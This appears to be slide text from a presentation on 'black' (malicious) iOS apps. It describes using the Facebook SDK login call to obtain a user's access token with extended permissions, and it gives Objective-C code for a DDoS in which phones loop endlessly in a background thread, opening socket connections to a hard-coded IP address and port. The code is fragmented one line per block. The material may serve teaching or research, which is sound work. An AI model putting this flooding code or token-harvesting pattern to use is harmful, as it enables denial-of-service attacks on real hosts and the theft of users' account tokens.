

Black app

Facebook SDK

- Attack pattern: Get user's Facebook token of extended permission by Facebook SDK.
- Used function:
 - `openActiveSessionWithPermissions:allowLoginUI:completionHandler`
 - Give a NSArray of permission strings.
 - Login Facebook through Safari or Facebook app.
 - User check the permissions list.
 - Return the access token.

Facebook SDK



DDoS attack

- Goal: Let the target device overflowing.
- Attack pattern:
 - Make many mobile phone send sockets to the same device at the same time.

DDoS attack

- Implement:
 - **1. Create a background thread**

```
dispatch_queue_t myQueue = dispatch_queue_create("myQueue", 0);
dispatch_async(myQueue, ^
{
    //code that will be executed in background...
});
```

DDoS attack

- Implement:
 - **2. Do our attack with socket connection in background:**

```
while(true)
```

```
{
```

```
    int port=843;
```

```
    socketClient = [[SocketClient
```

```
alloc]initWithIp:@"140.119.19.139" AndPort:&port];
```

```
    [socketClient openConnection];
```

```
    [socketClient sendString:@"Hello World"];
```

```
    [socketClient close];
```

```
}
```

DDoS schematic diagram

